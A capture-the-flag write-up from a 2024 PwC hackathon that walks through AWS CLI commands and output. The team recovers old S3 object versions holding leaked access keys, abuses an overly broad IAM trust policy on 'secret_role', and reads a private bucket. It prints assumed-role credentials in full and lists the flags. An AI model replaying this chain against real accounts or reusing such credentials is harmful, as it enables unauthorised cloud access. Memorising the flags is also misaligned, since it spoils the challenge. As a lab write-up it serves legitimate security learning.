12 Nov 2024

PwC Hack A Day Hackathon CTF Challenge 2024​

Trying out cloud for the first time

Overview

Team Name: Off-White Hats
Position: 2 (Singapore: 2)
Score: 2400

Scoreboard with Off-White Hats in 2nd place

Challenge

The first part of the challenge was solved by my teammate which gave a S3 bucket with a flag.txt file which yields the flag. Unfortunately, the full challenge description is no longer accessible but it hinted at looking at file changes and old files

Part 2

Having some experience with AWS should tell you that S3 supports versioned buckets, allowing you to maintain different versions of objects. Using the AWS CLI, we can enumerate the versions of flag.txt

$ aws s3api list-object-versions --bucket 52c0eec687e00b18d8a1c761ea72288 --prefix flag
{
    "Versions": [
        {
            "ETag": "\"d5d957f6ede2c3c30989f1712ed4456c\"",
            "Size": 70,
            "StorageClass": "STANDARD",
            "Key": "flag.txt",
            "VersionId": "lJDDR1Mf2VgeEaOfiwUtmWQtWgQzAB5R",
            "IsLatest": true,
            "LastModified": "2024-11-08T12:31:35+00:00",
            "Owner": {
                "ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
            }
        },
        {
            "ETag": "\"febffb0f24d28814e370b96f902c950f\"",
            "Size": 71,
            "StorageClass": "STANDARD",
            "Key": "flag.xtxt",
            "VersionId": "KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt",
            "IsLatest": false,
            "LastModified": "2024-11-08T12:31:23+00:00",
            "Owner": {
                "ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
            }
        }
    ],
    "RequestCharged": null
}

We notice there are 2 versions of the flag.txt file. Using the VersionId of the older entry, use the get-object command to get the flag.

aws s3api get-object --bucket 52c0eec687e00b18d8a1c761ea72288 --key flag.txt --version-id KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt flag2.txt
{
    "AcceptRanges": "bytes",
    "LastModified": "2024-11-08T12:31:23+00:00",
    "ContentLength": 71,
    "ETag": "\"febffb0f24d28814e370b96f902c950f\"",
    "VersionId": "KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt",
    "ContentType": "text/plain",
    "ServerSideEncryption": "AES256",
    "Metadata": {}
}

In flag2.txt, we can see the second flag.

Flag: hack{68dc3bf28a4d2819b8bf6dd54fcffd683a499474589ea0af0214835d86e3dfa6}

Part 3

Getting Non-Public Cloud Access

We are instructed to search more about gaining access. We see a suspicious file in the bucket called accessKeys.csv.

$ aws s3 ls s3://52c0eec687e00b18d8a1c761ea72288
                           PRE Atlas/
2024-11-08 19:55:10      14002 403.jpg
2024-11-08 22:02:26         59 accessKeys.csv
2024-11-08 20:31:35         70 flag.txt

However, this file only shows redacted AWS keys.

accessKeys.csv with redacted keys

Following the steps in part 2, we notice an older version of the accessKeys.csv which has some real AWS keys.

$ aws s3api list-object-versions --bucket 52c0eec687e00b18d8a1c761ea72288 --prefix accessKeys
{
    "Versions": [
        {
            "ETag": "\"67f5619da3683678cfb6a13010446825\"",
            "Size": 59,
            "StorageClass": "STANDARD",
            "Key": "accessKeys.csv",
            "VersionId": "TB2Xgy9lNzi9UGGfzFbNTKlnqSVeAP39",
            "IsLatest": true,
            "LastModified": "2024-11-08T14:02:26+00:00",
            "Owner": {
                "ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
            }
        },
        {
            "ETag": "\"f9ef272b5372b8eca25dbdfab333e4c0\"",
            "Size": 99,
            "StorageClass": "STANDARD",
            "Key": "accessKeys.csv",
            "VersionId": "kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM",
            "IsLatest": false,
            "LastModified": "2024-11-08T14:01:08+00:00",
            "Owner": {
                "ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
            }
        }
    ],
    "RequestCharged": null
}

$ aws s3api get-object --bucket 52c0eec687e00b18d8a1c761ea72288 --key accessKeys.csv --version-id kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM accessKeys-old.csv
{
    "AcceptRanges": "bytes",
    "LastModified": "2024-11-08T14:01:08+00:00",
    "ContentLength": 99,
    "ETag": "\"f9ef272b5372b8eca25dbdfab333e4c0\"",
    "VersionId": "kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM",
    "ContentType": "text/csv",
    "ServerSideEncryption": "AES256",
    "Metadata": {}
}

accessKeys.csv with full AWS keys

Cloud Exploration

With this key, we can use these credentials (either using the aws configure command or configuring in the AWS configuration file ~/.aws/credentials) to explore some permissions and roles. Typically we want to find either what permissions our user has or what kind of permission vulnerabilities are there to see what resources we can access. AWS permissions can take the form of Users, Roles and Policies. So we can use the AWS CLI to access each one.

$ aws iam list-roles
{
    "Roles": [
        {
            "Path": "/aws-service-role/organizations.amazonaws.com/",
            "RoleName": "AWSServiceRoleForOrganizations",
            "RoleId": "AROAXEVXYYS6KMOYSRH5X",
            "Arn": "arn:aws:iam::491085415612:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
            "CreateDate": "2024-11-04T06:34:39+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "organizations.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROAXEVXYYS6A7CMNWF5O",
            "Arn": "arn:aws:iam::491085415612:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "2024-11-04T06:34:38+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROAXEVXYYS6H3XYZP5BV",
            "Arn": "arn:aws:iam::491085415612:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "2024-11-04T06:34:38+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "myOrganizationRole",
            "RoleId": "AROAXEVXYYS6AAY6YYXF2",
            "Arn": "arn:aws:iam::491085415612:role/myOrganizationRole",
            "CreateDate": "2024-11-04T06:34:38+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::774305606767:root"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "secret_role",
            "RoleId": "AROAXEVXYYS6CXJ3EUQ4X",
            "Arn": "arn:aws:iam::491085415612:role/secret_role",
            "CreateDate": "2024-11-08T12:23:29+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2008-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "*"
                        },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "StringLike": {
                                "aws:PrincipalArn": "arn:aws:iam::*:user/hackaday2024_*"
                            }
                        }
                    }
                ]
            },
            "Description": "",
            "MaxSessionDuration": 3600
        }
    ]
}

The first few roles are default AWS roles but the last 2 user-created roles are pretty interesting. Specifically secret_role allows user to have the sts:AssumeRole with a condition where the IAM ARN matches arn:aws:iam::*:user/hackaday2024_*.

Assuming the Secret Role

We notice that the above role is vulnerable. If you are familiar with the ARN format, a user with any account-id and a username starting with hackaday2024_ can simply assume the secret_role role. This means we can use our personal account with a user named hackaday2024_ which should be able to assume this secret role.

On AWS console, we create a user with some credentials to access from our AWS CLI.

AWS user with credentials

Don’t forget to run aws configure or create a profile with these new credentials before continuing. With these credentials, let’s try to assume the secret role.

$ aws sts assume-role --role-arn arn:aws:iam::491085415612:role/secret_role --role-session-name MySessionName --region us-east-2
{
    "Credentials": {
        "AccessKeyId": "ASIAXEVXYYS6LSE6I2UQ",
        "SecretAccessKey": "RsaPmBrW4oZHs/+frNfrK0POeuQKaaEUqiqrt5J5",
        "SessionToken": "IQoJb3JpZ2luX2VjECwaCXVzLWVhc3QtMiJGMEQCIAfaYfRPf30a7E03ea6NkptxCs3jSN/vhf5HvkXGZ6/UAiBjRPs/A+AH0FSM+wEpVQv6b9eSK/yYCc+0XIXliOoxViqjAgi1//////////8BEAAaDDQ5MTA4NTQxNTYxMiIM4pfo0fT1UtKMACTLKvcBGI1D0lSDWyQnwuJ3rmHxtSjL6NlF3XLpkKjH8ywgwi8xbO1jzBqLuQRyFTuGjZt5s1Yhv2Mrj5C06omvDC3KXOTTJPGUygzPbxBw1OV4+QPdy6MHD7gGatosym7aAuiDfcF4WRCDeC3djtBxFyOuCXm98qc5zikiNNcPBXdm1U/C4YmM8QjNKXO/tuDxf/rpNFIufCGYNT/FFeI4iW1LKvFqSotAMTbcacvB406uavL3rWIiWsJRSkhmk0mXp83Uufpx+9CJekQL/3IDwzszabd1+QwkfPE6qphgHX4TeTISMpvi3h0SPmyi9QYYYEV14rxchDwPxTCqpMu5BjqeAc49627xDYA9geSFM5CDS0v0rycwTmRwLjJO7nj9+iqYntUhqOArr8kosYTufj6YDHYIgDMASeWCdTxy4jpuM2xUclfUx+o+pEnHfDxTC2tzR4/kHupFVCrs6rl9jr6wlk5ZVIiShLA9l2GkHe6WIb6z7dxtERRcIWJKrwRF0StIg+Kl22VcqhQYf0FOl76VeFirPq/gLGRGKDDIkK/L",
        "Expiration": "2024-11-12T04:57:30+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXEVXYYS6CXJ3EUQ4X:MySessionName",
        "Arn": "arn:aws:sts::491085415612:assumed-role/secret_role/MySessionName"
    }
}

Success! We now have secret role permissions temporarily. To use them, we cannot use aws configure, we must either use environment variables or profiles so we can set the session token as well. I chose to store it to a profile in .aws/credentials called pwc

Trying to Access More Data

For most cloud CTF challenges, we want to get some flag in the end which is commonly in an S3 bucket. So let’s use the assumed credentials and list the buckets.

$ aws s3api list-buckets --profile pwc
{
    "Buckets": [
        {
            "Name": "52c0eec687e00b18d8a1c761ea72288",
            "CreationDate": "2024-11-08T11:44:18+00:00"
        },
        {
            "Name": "secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726",
            "CreationDate": "2024-11-08T13:41:59+00:00"
        }
    ],
    "Owner": {
        "DisplayName": "hackaday2024team1",
        "ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
    }
}

We see a secret bucket and when we list the files in it, we see a flag.txt which is already an indication of our final flag. Let’s dump this flag out!

$ aws s3 ls s3://secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726 --profile pwc --region ap-east-1
2024-11-08 21:55:36         70 flag.txt

$ aws s3api get-object --bucket secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726 --key flag.txt --profile pwc --region ap-east-1 flag3.txt
{
    "AcceptRanges": "bytes",
    "LastModified": "2024-11-08T13:55:36+00:00",
    "ContentLength": 70,
    "ETag": "\"90f80022c3c011532c6cbc6f620f61b2\"",
    "ContentType": "text/plain",
    "ServerSideEncryption": "AES256",
    "Metadata": {}
}

Flag: hack{a547ddd25234cfbdebe36eee5fe8a9185f9130638836e09126b9a2c492f0a85e}